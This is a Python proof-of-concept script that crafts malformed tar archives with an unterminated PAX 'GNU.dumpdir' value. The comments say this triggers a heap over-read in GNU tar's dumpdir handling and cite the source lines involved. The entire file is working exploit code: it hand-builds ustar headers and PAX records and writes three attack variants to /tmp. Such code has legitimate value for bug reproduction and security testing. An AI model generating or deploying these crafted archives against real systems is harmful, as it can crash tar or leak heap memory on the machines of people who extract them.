#!/usr/bin/env python3
# GNU tar PAX 'GNU.dumpdir' unterminated-value heap over-read
# dumpdir_decoder: st->dumpdir = xmalloc(size); memcpy(...)  [xheader.c:1523]
# dumpdir_size(): walks strlen until double-NUL  [incremen.c:196]
# value without terminator -> strlen runs past heap block.
def ustar_hdr(name, size, typeflag, magic=b'ustar\x0000'):
    h = bytearray(512)
    h[0:len(name)] = name
    h[100:108] = b'%07o\x00' % 0o644
    h[108:116] = b'%07o\x00' % 0
    h[116:124] = b'%07o\x00' % 0
    h[124:136] = b'%011o\x00' % size
    h[136:148] = b'%011o\x00' % 0
    h[148:156] = b' ' * 8
    h[156] = ord(typeflag)
    h[257:265] = magic
    chk = sum(h)
    h[148:156] = b'%06o\x00 ' % chk
    return bytes(h)

def pax_record(key, value):
    # "%d %s=%s\n" length includes digits+space+newline
    n = len(key) + len(value) + 3
    ln = len(str(n)) ; tot = n + ln  # iterate until stable
    while True:
        s = (str(tot) + ' ').encode() + key + b'=' + value + b'\n'
        if len(s) == tot: break
        tot = len(s)
    return s

def build(value, path):
    xdata = pax_record(b'GNU.dumpdir', value)
    xhdr = ustar_hdr(b'PaxHeaders/f', len(xdata), 'x') + xdata + b'\x00' * ((-len(xdata)) % 512)
    m = ustar_hdr(b'f.txt', 0, '0') + b'\x00' * 1024
    open(path, 'wb').write(xhdr + m)
    print('wrote', path, 'value len', len(value))

# A: minimal, no NUL at all -> strlen goes past 1-byte-xmalloc... value 'x'
build(b'x', '/tmp/dd_a.tar')
# B: proper-ish start, last string unterminated: "d\0sh" -> 'sh' no NUL
build(b'd\x00sh', '/tmp/dd_b.tar')
# C: full entries but missing final empty string: "d\0dir1\0-\0Y\0ent\0" ends single NUL then end-of-block
build(b'd\x00dir1\x00-\x00Y\x00ent\x00', '/tmp/dd_c.tar')
